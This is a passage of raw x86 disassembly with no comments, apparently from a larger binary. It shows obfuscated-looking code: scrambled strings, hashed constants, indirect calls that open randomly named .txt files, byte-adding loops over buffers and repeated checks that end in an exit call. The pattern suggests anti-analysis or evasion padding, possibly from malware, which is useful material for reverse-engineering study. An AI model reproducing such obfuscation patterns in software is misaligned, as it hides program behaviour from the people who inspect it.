add eax, 0x10
cmp eax, 0x400
jb 0x46c4ff
push str.PwSishAg
lea ecx, [ebp - 0x16b4c]
call fcn.00401c92
cmp dword [ebp - 0x16b38], 0xf
lea eax, [ebp - 0x16b4c]
push 0x1775a052
cmova eax, dword [ebp - 0x16b4c]
push eax
push 0x47e384
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x16b4c]
call fcn.004021f4
push str.eJld
lea ecx, [ebp - 0x1711c]
call fcn.00401c92
cmp dword [ebp - 0x17108], 0xf
lea eax, [ebp - 0x1711c]
push 0x7ad0113
cmova eax, dword [ebp - 0x1711c]
push eax
push 0x47e39c
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x1711c]
call fcn.004021f4
lea eax, [ebp - 0x19778]
push eax
call dword [ebp - 0x198b8]
lea eax, [ebp - 0x19788]
push eax
call dword [ebp - 0x198b8]
push str.rmaHj1lO5V
lea ecx, [ebp - 0x17104]
call fcn.00401c92
cmp dword [ebp - 0x170f0], 0xf
lea eax, [ebp - 0x17104]
push 0x55b495
cmova eax, dword [ebp - 0x17104]
push eax
push 0x47e3c8
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x17104]
call fcn.004021f4
lea eax, [ebp - 0x19038]
push eax
lea eax, [ebp - 0x19040]
push eax
lea eax, [ebp - 0x19048]
push eax
push 0x47e3d0
call dword [ebp - 0x198ac]
lea eax, [ebp - 0x19050]
push eax
lea eax, [ebp - 0x19058]
push eax
lea eax, [ebp - 0x19060]
push eax
push 0x47e3d8
call dword [ebp - 0x198ac]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.h.txt
call dword [ebp - 0x198b0]
cmp eax, 0xffffffff
je 0x46c662
push eax
call esi
lea eax, [ebp - 0x16a34]
mov dword [ebp - 0x16a34], 0x10
push eax
lea eax, [ebp - 0x234]
push eax
call dword [ebp - 0x198b4]
push 0x400
lea eax, [ebp - 0x35f8]
push 0
push eax
call fcn.00439fe0
add esp, 0xc
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0x35f8]
movaps xmm1, xmmword [ebp - 0x198e0]
paddb xmm1, xmm0
movups xmmword [ebp + eax - 0x35f8], xmm1
add eax, 0x10
cmp eax, 0x400
jb 0x46c698
push str.u3t3SjIr
lea ecx, [ebp - 0x17014]
call fcn.00401c92
cmp dword [ebp - 0x17000], 0xf
lea eax, [ebp - 0x17014]
push 0x15a481b
cmova eax, dword [ebp - 0x17014]
push eax
push 0x47e410
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x17014]
call fcn.004021f4
push str.vmAv8Kddcf
lea ecx, [ebp - 0x16ffc]
call fcn.00401c92
cmp dword [ebp - 0x16fe8], 0xf
lea eax, [ebp - 0x16ffc]
push 0x32b3a8e1
cmova eax, dword [ebp - 0x16ffc]
push eax
push 0x47e424
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x16ffc]
call fcn.004021f4
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198cc], eax
test eax, eax
je 0x46c786
lea ecx, [ebp - 0x19068]
push ecx
lea ecx, [ebp - 0x19070]
push ecx
lea ecx, [ebp - 0x19078]
push ecx
lea ecx, [ebp - 0x19080]
push ecx
push eax
call edi
push dword [ebp - 0x198cc]
call esi
lea eax, [ebp - 0x19088]
push eax
lea eax, [ebp - 0x19090]
push eax
lea eax, [ebp - 0x19098]
push eax
push 0x47e43c
call dword [ebp - 0x198ac]
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198cc], eax
test eax, eax
je 0x46c7eb
lea ecx, [ebp - 0x190a0]
push ecx
lea ecx, [ebp - 0x190a8]
push ecx
lea ecx, [ebp - 0x190b0]
push ecx
lea ecx, [ebp - 0x190b8]
push ecx
push eax
call edi
push dword [ebp - 0x198cc]
call esi
push str.a6a2
lea ecx, [ebp - 0x16fe4]
call fcn.00401c92
cmp dword [ebp - 0x16fd0], 0xf
lea eax, [ebp - 0x16fe4]
push 0x256fe931
cmova eax, dword [ebp - 0x16fe4]
push eax
push 0x47e454
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x16fe4]
call fcn.004021f4
lea eax, [ebp - 0x190c0]
push eax
lea eax, [ebp - 0x190c8]
push eax
lea eax, [ebp - 0x190d0]
push eax
push 0x47e474
call dword [ebp - 0x198ac]
lea eax, [ebp - 0x190d8]
push eax
lea eax, [ebp - 0x190e0]
push eax
lea eax, [ebp - 0x190e8]
push eax
push 0x47e47c
call dword [ebp - 0x198ac]
lea eax, [ebp - 0x190f0]
push eax
lea eax, [ebp - 0x190f8]
push eax
lea eax, [ebp - 0x19100]
push eax
push 0x47e484
call dword [ebp - 0x198ac]
push str.Iwmu
lea ecx, [ebp - 0x18860]
call fcn.00401c92
push 0x1202aac2
lea eax, [ebp - 0x18860]
mov dword [ebp - 4], 0x10
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x18860]
call fcn.004021f4
lea eax, [ebp - 0x16a38]
mov dword [ebp - 0x16a38], 0x10
push eax
lea eax, [ebp - 0x5b4]
push eax
call dword [ebp - 0x198b4]
push 0x47e49c
lea ecx, [ebp - 0x16fcc]
call fcn.00401c92
cmp dword [ebp - 0x16fb8], 0xf
lea eax, [ebp - 0x16fcc]
push 0xb29dec1
cmova eax, dword [ebp - 0x16fcc]
push eax
push 0x47e4a8
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x16fcc]
call fcn.004021f4
lea eax, [ebp - 0x16a3c]
mov dword [ebp - 0x16a3c], 0x10
push eax
lea eax, [ebp - 0x54]
push eax
call dword [ebp - 0x198b4]
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198cc], eax
test eax, eax
je 0x46c999
lea ecx, [ebp - 0x19108]
push ecx
lea ecx, [ebp - 0x19110]
push ecx
lea ecx, [ebp - 0x19118]
push ecx
lea ecx, [ebp - 0x19120]
push ecx
push eax
call edi
push dword [ebp - 0x198cc]
call esi
lea eax, [ebp - 0x19128]
push eax
lea eax, [ebp - 0x19130]
push eax
lea eax, [ebp - 0x19138]
push eax
push 0x47e4b8
call dword [ebp - 0x198ac]
push str.LOYv
lea ecx, [ebp - 0x16fb4]
call fcn.00401c92
cmp dword [ebp - 0x16fa0], 0xf
lea eax, [ebp - 0x16fb4]
push 0x9ee1a0c
cmova eax, dword [ebp - 0x16fb4]
push eax
push 0x47e4dc
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x16fb4]
call fcn.004021f4
lea eax, [ebp - 0x19140]
push eax
call dword [ebp - 0x198bc]
push 0x400
lea eax, [ebp - 0x39f8]
push 0
push eax
call fcn.00439fe0
movaps xmm1, xmmword [ebp - 0x198e0]
add esp, 0xc
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0x39f8]
paddb xmm0, xmm1
movups xmmword [ebp + eax - 0x39f8], xmm0
add eax, 0x10
cmp eax, 0x400
jb 0x46ca27
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198cc], eax
test eax, eax
je 0x46ca8a
lea ecx, [ebp - 0x19148]
push ecx
lea ecx, [ebp - 0x19150]
push ecx
lea ecx, [ebp - 0x19158]
push ecx
lea ecx, [ebp - 0x19160]
push ecx
push eax
call edi
push dword [ebp - 0x198cc]
call esi
lea eax, [ebp - 0x19168]
push eax
lea eax, [ebp - 0x19170]
push eax
lea eax, [ebp - 0x19178]
push eax
push 0x47e4ec
call dword [ebp - 0x198ac]
lea eax, [ebp - 0x19798]
push eax
call dword [ebp - 0x198b8]
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198cc], eax
test eax, eax
je 0x46cafc
lea ecx, [ebp - 0x19180]
push ecx
lea ecx, [ebp - 0x19188]
push ecx
lea ecx, [ebp - 0x19190]
push ecx
lea ecx, [ebp - 0x19198]
push ecx
push eax
call edi
push dword [ebp - 0x198cc]
call esi
push str.FGhkw
lea ecx, [ebp - 0x18878]
call fcn.00401c92
push 0x38283606
lea eax, [ebp - 0x18878]
mov dword [ebp - 4], 0x11
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x18878]
call fcn.004021f4
push 0x400
lea eax, [ebp - 0x3df8]
push 0
push eax
call fcn.00439fe0
movaps xmm1, xmmword [ebp - 0x198e0]
add esp, 0xc
xor eax, eax
push 0x10
pop ecx
movups xmm0, xmmword [ebp + eax - 0x3df8]
paddb xmm0, xmm1
movups xmmword [ebp + eax - 0x3df8], xmm0
add eax, ecx
cmp eax, 0x400
jb 0x46cb6a
lea eax, [ebp - 0x16a40]
mov dword [ebp - 0x16a40], ecx
push eax
lea eax, [ebp - 0x9f4]
push eax
call dword [ebp - 0x198b4]
lea eax, [ebp - 0x191a0]
push eax
lea eax, [ebp - 0x191a8]
push eax
lea eax, [ebp - 0x191b0]
push eax
push 0x47e504
call dword [ebp - 0x198ac]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.KC.txt
call dword [ebp - 0x198b0]
cmp eax, 0xffffffff
je 0x46cbe6
push eax
call esi
push 8
lea eax, [ebp - 0x191b8]
push eax
call dword [ebp - 0x198c8]
test eax, eax
jne 0x46cc09
push 1
call dword [ebp - 0x198c4]
push 1
call dword [ebp - 0x198c0]
push 0x47e53c
lea ecx, [ebp - 0x16f9c]
call fcn.00401c92
cmp dword [ebp - 0x16f88], 0xf
lea eax, [ebp - 0x16f9c]
push 0x3aa35b93
cmova eax, dword [ebp - 0x16f9c]
push eax
push 0x47e544
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x16f9c]
call fcn.004021f4
lea eax, [ebp - 0x191c0]
push eax
call dword [ebp - 0x198bc]
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198cc], eax
test eax, eax
je 0x46cc9d
lea ecx, [ebp - 0x191c8]
push ecx
lea ecx, [ebp - 0x191d0]
push ecx
lea ecx, [ebp - 0x191d8]
push ecx
lea ecx, [ebp - 0x191e0]
push ecx
push eax
call edi
push dword [ebp - 0x198cc]
call esi
push 0x400
lea eax, [ebp - 0x41f8]
push 0
push eax
call fcn.00439fe0
add esp, 0xc
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0x41f8]
movaps xmm1, xmmword [ebp - 0x198e0]
paddb xmm1, xmm0
movups xmmword [ebp + eax - 0x41f8], xmm1
add eax, 0x10
cmp eax, 0x400
jb 0x46ccb5
lea eax, [ebp - 0x197a8]
push eax
call dword [ebp - 0x198b8]
lea eax, [ebp - 0x16a44]
mov dword [ebp - 0x16a44], 0x10
push eax
lea eax, [ebp - 0x9d4]
push eax
call dword [ebp - 0x198b4]
lea eax, [ebp - 0x191e8]
push eax
call dword [ebp - 0x198bc]
push 0x400
lea eax, [ebp - 0x45f8]
push 0
push eax
call fcn.00439fe0
add esp, 0xc
mov ecx, 0x400
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0x45f8]
movaps xmm1, xmmword [ebp - 0x198e0]
paddb xmm1, xmm0
movups xmmword [ebp + eax - 0x45f8], xmm1
add eax, 0x10
cmp eax, ecx
jb 0x46cd2f
push ecx
lea eax, [ebp - 0x49f8]
push 0
push eax
call fcn.00439fe0
add esp, 0xc
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0x49f8]
movaps xmm1, xmmword [ebp - 0x198e0]
paddb xmm1, xmm0
movups xmmword [ebp + eax - 0x49f8], xmm1
add eax, 0x10
cmp eax, 0x400
jb 0x46cd65
lea eax, [ebp - 0x191f0]
push eax
call dword [ebp - 0x198bc]
push 8
lea eax, [ebp - 0x191f8]
push eax
call dword [ebp - 0x198c8]
test eax, eax
jne 0x46cdba
push 1
call dword [ebp - 0x198c4]
push 1
call dword [ebp - 0x198c0]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.fDql6q.txt
call dword [ebp - 0x198b0]
cmp eax, 0xffffffff
je 0x46cddf
push eax
call esi
push 0x400
lea eax, [ebp - 0x4df8]
push 0
push eax
call fcn.00439fe0
movaps xmm1, xmmword [ebp - 0x198e0]
add esp, 0xc
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0x4df8]
paddb xmm0, xmm1
movups xmmword [ebp + eax - 0x4df8], xmm0
add eax, 0x10
cmp eax, 0x400
jb 0x46cdfe
push 8
lea eax, [ebp - 0x19200]
push eax
call dword [ebp - 0x198c8]
test eax, eax
jne 0x46ce3f
push 1
call dword [ebp - 0x198c4]
push 1
call dword [ebp - 0x198c0]
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198cc], eax
test eax, eax
je 0x46ce84
lea ecx, [ebp - 0x19208]
push ecx
lea ecx, [ebp - 0x19210]
push ecx
lea ecx, [ebp - 0x19218]
push ecx
lea ecx, [ebp - 0x19220]
push ecx
push eax
call edi
push dword [ebp - 0x198cc]
call esi
push 0x47e594
lea ecx, [ebp - 0x18890]
call fcn.00401c92
push 0x739cdaa
lea eax, [ebp - 0x18890]
mov dword [ebp - 4], 0x12
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x18890]
call fcn.004021f4
push 8
lea eax, [ebp - 0x19228]
push eax
call dword [ebp - 0x198c8]
test eax, eax
jne 0x46cef3
push 1
call dword [ebp - 0x198c4]
push 1
call dword [ebp - 0x198c0]
push 8
lea eax, [ebp - 0x19230]
push eax
call dword [ebp - 0x198c8]
test eax, eax
jne 0x46cf16
push 1
call dword [ebp - 0x198c4]
push 1
call dword [ebp - 0x198c0]
push str.G7IC5wNf1r
lea ecx, [ebp - 0x16f84]
call fcn.00401c92
cmp dword [ebp - 0x16f70], 0xf
lea eax, [ebp - 0x16f84]
push 0x343a9cf9
cmova eax, dword [ebp - 0x16f84]
push eax
push 0x47e5c0
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x16f84]
call fcn.004021f4
lea eax, [ebp - 0x1989c]
push eax
call fcn.00428d2a
pop ecx
mov dword [ebp - 0x198cc], eax
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198a0], eax
test eax, eax
je 0x46cfb0
lea ecx, [ebp - 0x19238]
push ecx
lea ecx, [ebp - 0x19240]
push ecx
lea ecx, [ebp - 0x19248]
push ecx
lea ecx, [ebp - 0x19250]
push ecx
push eax
call edi
push dword [ebp - 0x198a0]
call esi
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198a0], eax
test eax, eax
je 0x46cff5
lea ecx, [ebp - 0x19258]
push ecx
lea ecx, [ebp - 0x19260]
push ecx
lea ecx, [ebp - 0x19268]
push ecx
lea ecx, [ebp - 0x19270]
push ecx
push eax
call edi
push dword [ebp - 0x198a0]
call esi
push str.TJBAdZp4Kx
lea ecx, [ebp - 0x188a8]
call fcn.00401c92
push 0x5ef8033
lea eax, [ebp - 0x188a8]
mov dword [ebp - 4], 0x13
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x188a8]
call fcn.004021f4
lea eax, [ebp - 0x16a4c]
mov dword [ebp - 0x16a4c], 0x10
push eax
lea eax, [ebp - 0x9b4]
push eax
call dword [ebp - 0x198b4]
push 0x400
lea eax, [ebp - 0x51f8]
push 0
push eax
call fcn.00439fe0
movaps xmm1, xmmword [ebp - 0x198e0]
add esp, 0xc
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0x51f8]
paddb xmm0, xmm1
movups xmmword [ebp + eax - 0x51f8], xmm0
add eax, 0x10
cmp eax, 0x400
jb 0x46d07e
push 8
lea eax, [ebp - 0x19278]
push eax
call dword [ebp - 0x198c8]
test eax, eax
jne 0x46d0bf
push 1
call dword [ebp - 0x198c4]
push 1
call dword [ebp - 0x198c0]
lea eax, [ebp - 0x197b8]
push eax
call dword [ebp - 0x198b8]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.Dx.txt
call dword [ebp - 0x198b0]
cmp eax, 0xffffffff
je 0x46d0f1
push eax
call esi
push 8
lea eax, [ebp - 0x19280]
push eax
call dword [ebp - 0x198c8]
test eax, eax
jne 0x46d114
push 1
call dword [ebp - 0x198c4]
push 1
call dword [ebp - 0x198c0]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.ZadT.txt
call dword [ebp - 0x198b0]
cmp eax, 0xffffffff
je 0x46d139
push eax
call esi
push 0x400
lea eax, [ebp - 0x55f8]
push 0
push eax
call fcn.00439fe0
movaps xmm1, xmmword [ebp - 0x198e0]
add esp, 0xc
xor eax, eax
mov ecx, 0x400
movups xmm0, xmmword [ebp + eax - 0x55f8]
paddb xmm0, xmm1
movups xmmword [ebp + eax - 0x55f8], xmm0
add eax, 0x10
cmp eax, ecx
jb 0x46d15d
push ecx
lea eax, [ebp - 0x59f8]
push 0
push eax
call fcn.00439fe0
movaps xmm1, xmmword [ebp - 0x198e0]
add esp, 0xc
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0x59f8]
paddb xmm0, xmm1
movups xmmword [ebp + eax - 0x59f8], xmm0
add eax, 0x10
cmp eax, 0x400
jb 0x46d193
push 0x47e65c
lea ecx, [ebp - 0x188c0]
call fcn.00401c92
push 0x21ba17b0
lea eax, [ebp - 0x188c0]
mov dword [ebp - 4], 0x14
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x188c0]
call fcn.004021f4
lea eax, [ebp - 0x16a50]
mov dword [ebp - 0x16a50], 0x10
push eax
lea eax, [ebp - 0x994]
push eax
call dword [ebp - 0x198b4]
lea eax, [ebp - 0x197c8]
push eax
call dword [ebp - 0x198b8]
lea eax, [ebp - 0x197d8]
push eax
call dword [ebp - 0x198b8]
lea eax, [ebp - 0x197e8]
push eax
call dword [ebp - 0x198b8]
lea eax, [ebp - 0x19288]
push eax
lea eax, [ebp - 0x19290]
push eax
lea eax, [ebp - 0x19298]
push eax
push 0x47e664
call dword [ebp - 0x198ac]
push 0x47e688
lea ecx, [ebp - 0x16f6c]
call fcn.00401c92
cmp dword [ebp - 0x16f58], 0xf
lea eax, [ebp - 0x16f6c]
push 0x374a986f
cmova eax, dword [ebp - 0x16f6c]
push eax
push 0x47e68c
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x16f6c]
call fcn.004021f4
lea eax, [ebp - 0x197f8]
push eax
call dword [ebp - 0x198b8]
push 0x400
lea eax, [ebp - 0x5df8]
push 0
push eax
call fcn.00439fe0
add esp, 0xc
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0x5df8]
movaps xmm1, xmmword [ebp - 0x198e0]
paddb xmm1, xmm0
movups xmmword [ebp + eax - 0x5df8], xmm1
add eax, 0x10
cmp eax, 0x400
jb 0x46d2c9
push str.og8kU72
lea ecx, [ebp - 0x188d8]
call fcn.00401c92
push 0x2a6985
lea eax, [ebp - 0x188d8]
mov dword [ebp - 4], 0x15
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x188d8]
call fcn.004021f4
lea eax, [ebp - 0x16a54]
mov dword [ebp - 0x16a54], 0x10
push eax
lea eax, [ebp - 0x974]
push eax
call dword [ebp - 0x198b4]
push 8
lea eax, [ebp - 0x192a0]
push eax
call dword [ebp - 0x198c8]
test eax, eax
jne 0x46d37b
push 1
call dword [ebp - 0x198c4]
push 1
call dword [ebp - 0x198c0]
lea eax, [ebp - 0x16a58]
mov dword [ebp - 0x16a58], 0x10
push eax
lea eax, [ebp - 0x954]
push eax
call dword [ebp - 0x198b4]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.vpF.txt
call dword [ebp - 0x198b0]
cmp eax, 0xffffffff
je 0x46d3be
push eax
call esi
push 0x400
lea eax, [ebp - 0x61f8]
push 0
push eax
call fcn.00439fe0
movaps xmm1, xmmword [ebp - 0x198e0]
add esp, 0xc
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0x61f8]
paddb xmm0, xmm1
movups xmmword [ebp + eax - 0x61f8], xmm0
add eax, 0x10
cmp eax, 0x400
jb 0x46d3dd
lea eax, [ebp - 0x19808]
push eax
call dword [ebp - 0x198b8]
lea eax, [ebp - 0x16a5c]
mov dword [ebp - 0x16a5c], 0x10
push eax
lea eax, [ebp - 0x934]
push eax
call dword [ebp - 0x198b4]
lea eax, [ebp - 0x192a8]
push eax
lea eax, [ebp - 0x192b0]
push eax
lea eax, [ebp - 0x192b8]
push eax
push 0x47e6c8
call dword [ebp - 0x198ac]
lea eax, [ebp - 0x16a60]
mov dword [ebp - 0x16a60], 0x10
push eax
lea eax, [ebp - 0x914]
push eax
call dword [ebp - 0x198b4]
lea eax, [ebp - 0x192c0]
push eax
lea eax, [ebp - 0x192c8]
push eax
lea eax, [ebp - 0x192d0]
push eax
push 0x47e6d0
call dword [ebp - 0x198ac]
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198a0], eax
test eax, eax
je 0x46d4c9
lea ecx, [ebp - 0x192d8]
push ecx
lea ecx, [ebp - 0x192e0]
push ecx
lea ecx, [ebp - 0x192e8]
push ecx
lea ecx, [ebp - 0x192f0]
push ecx
push eax
call edi
push dword [ebp - 0x198a0]
call esi
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198a0], eax
test eax, eax
je 0x46d50e
lea ecx, [ebp - 0x192f8]
push ecx
lea ecx, [ebp - 0x19300]
push ecx
lea ecx, [ebp - 0x19308]
push ecx
lea ecx, [ebp - 0x19310]
push ecx
push eax
call edi
push dword [ebp - 0x198a0]
call esi
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.AtH1vtS.txt
call dword [ebp - 0x198b0]
cmp eax, 0xffffffff
je 0x46d533
push eax
call esi
lea eax, [ebp - 0x19318]
push eax
call dword [ebp - 0x198bc]
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198a0], eax
test eax, eax
je 0x46d585
lea ecx, [ebp - 0x19320]
push ecx
lea ecx, [ebp - 0x19328]
push ecx
lea ecx, [ebp - 0x19330]
push ecx
lea ecx, [ebp - 0x19338]
push ecx
push eax
call edi
push dword [ebp - 0x198a0]
call esi
push 0x400
lea eax, [ebp - 0x65f8]
push 0
push eax
call fcn.00439fe0
movaps xmm1, xmmword [ebp - 0x198e0]
add esp, 0xc
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0x65f8]
paddb xmm0, xmm1
movups xmmword [ebp + eax - 0x65f8], xmm0
add eax, 0x10
cmp eax, 0x400
jb 0x46d5a4
push 8
lea eax, [ebp - 0x19340]
push eax
call dword [ebp - 0x198c8]
test eax, eax
jne 0x46d5e5
push 1
call dword [ebp - 0x198c4]
push 1
call dword [ebp - 0x198c0]
push 8
lea eax, [ebp - 0x19348]
push eax
call dword [ebp - 0x198c8]
test eax, eax
jne 0x46d608
push 1
call dword [ebp - 0x198c4]
push 1
call dword [ebp - 0x198c0]
push 8
lea eax, [ebp - 0x19350]
push eax
call dword [ebp - 0x198c8]
test eax, eax
jne 0x46d62b
push 1
call dword [ebp - 0x198c4]
push 1
call dword [ebp - 0x198c0]
lea eax, [ebp - 0x19358]
push eax
call dword [ebp - 0x198bc]
lea eax, [ebp - 0x16a64]
mov dword [ebp - 0x16a64], 0x10
push eax
lea eax, [ebp - 0x8f4]
push eax
call dword [ebp - 0x198b4]
push str.GxvGXQsbEG
lea ecx, [ebp - 0x188f0]
call fcn.00401c92
push 0x2230882a
lea eax, [ebp - 0x188f0]
mov dword [ebp - 4], 0x16
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x188f0]
call fcn.004021f4
push str.crXZQRgD2U
lea ecx, [ebp - 0x18908]
call fcn.00401c92
push 0x27fbecd4
lea eax, [ebp - 0x18908]
mov dword [ebp - 4], 0x17
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x18908]
call fcn.004021f4
lea eax, [ebp - 0x19818]
push eax
call dword [ebp - 0x198b8]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.aV5Z.txt
call dword [ebp - 0x198b0]
cmp eax, 0xffffffff
je 0x46d720
push eax
call esi
push 0x400
lea eax, [ebp - 0x69f8]
push 0
push eax
call fcn.00439fe0
movaps xmm1, xmmword [ebp - 0x198e0]
add esp, 0xc
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0x69f8]
paddb xmm0, xmm1
movups xmmword [ebp + eax - 0x69f8], xmm0
add eax, 0x10
cmp eax, 0x400
jb 0x46d73f
push str.IYj2
lea ecx, [ebp - 0x16f54]
call fcn.00401c92
cmp dword [ebp - 0x16f40], 0xf
lea eax, [ebp - 0x16f54]
push 0x1f5419a9
cmova eax, dword [ebp - 0x16f54]
push eax
push 0x47e788
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x16f54]
call fcn.004021f4
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198a0], eax
test eax, eax
je 0x46d7e4
lea ecx, [ebp - 0x19360]
push ecx
lea ecx, [ebp - 0x19368]
push ecx
lea ecx, [ebp - 0x19370]
push ecx
lea ecx, [ebp - 0x19378]
push ecx
push eax
call edi
push dword [ebp - 0x198a0]
call esi
push str.GqmrtD
lea ecx, [ebp - 0x16f3c]
call fcn.00401c92
cmp dword [ebp - 0x16f28], 0xf
lea eax, [ebp - 0x16f3c]
push 0x3429e87b
cmova eax, dword [ebp - 0x16f3c]
push eax
push 0x47e7a8
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x16f3c]
call fcn.004021f4
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.FnvAsC3.txt
call dword [ebp - 0x198b0]
cmp eax, 0xffffffff
je 0x46d84b
push eax
call esi
lea eax, [ebp - 0x19380]
push eax
call dword [ebp - 0x198bc]
push str.GQuT
lea ecx, [ebp - 0x18920]
call fcn.00401c92
push 0x319a4833
lea eax, [ebp - 0x18920]
mov dword [ebp - 4], 0x18
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x18920]
call fcn.004021f4
push 8
lea eax, [ebp - 0x19388]
push eax
call dword [ebp - 0x198c8]
test eax, eax
jne 0x46d8c7
push 1
call dword [ebp - 0x198c4]
push 1
call dword [ebp - 0x198c0]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push 0x47e7f4
call dword [ebp - 0x198b0]
cmp eax, 0xffffffff
je 0x46d8ec
push eax
call esi
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198a0], eax
test eax, eax
je 0x46d931
lea ecx, [ebp - 0x19390]
push ecx
lea ecx, [ebp - 0x19398]
push ecx
lea ecx, [ebp - 0x193a0]
push ecx
lea ecx, [ebp - 0x193a8]
push ecx
push eax
call edi
push dword [ebp - 0x198a0]
call esi
lea eax, [ebp - 0x193b0]
push eax
call dword [ebp - 0x198bc]
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198a0], eax
test eax, eax
je 0x46d983
lea ecx, [ebp - 0x193b8]
push ecx
lea ecx, [ebp - 0x193c0]
push ecx
lea ecx, [ebp - 0x193c8]
push ecx
lea ecx, [ebp - 0x193d0]
push ecx
push eax
call edi
push dword [ebp - 0x198a0]
call esi
push 8
lea eax, [ebp - 0x193d8]
push eax
call dword [ebp - 0x198c8]
test eax, eax
jne 0x46d9a6
push 1
call dword [ebp - 0x198c4]
push 1
call dword [ebp - 0x198c0]
lea eax, [ebp - 0x19828]
push eax
call dword [ebp - 0x198b8]
lea eax, [ebp - 0x16a68]
mov dword [ebp - 0x16a68], 0x10
push eax
lea eax, [ebp - 0x8d4]
push eax
call dword [ebp - 0x198b4]
push 0x400
lea eax, [ebp - 0x6df8]
push 0
push eax
call fcn.00439fe0
movaps xmm1, xmmword [ebp - 0x198e0]
add esp, 0xc
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0x6df8]
paddb xmm0, xmm1
movups xmmword [ebp + eax - 0x6df8], xmm0
add eax, 0x10
cmp eax, 0x400
jb 0x46d9f0
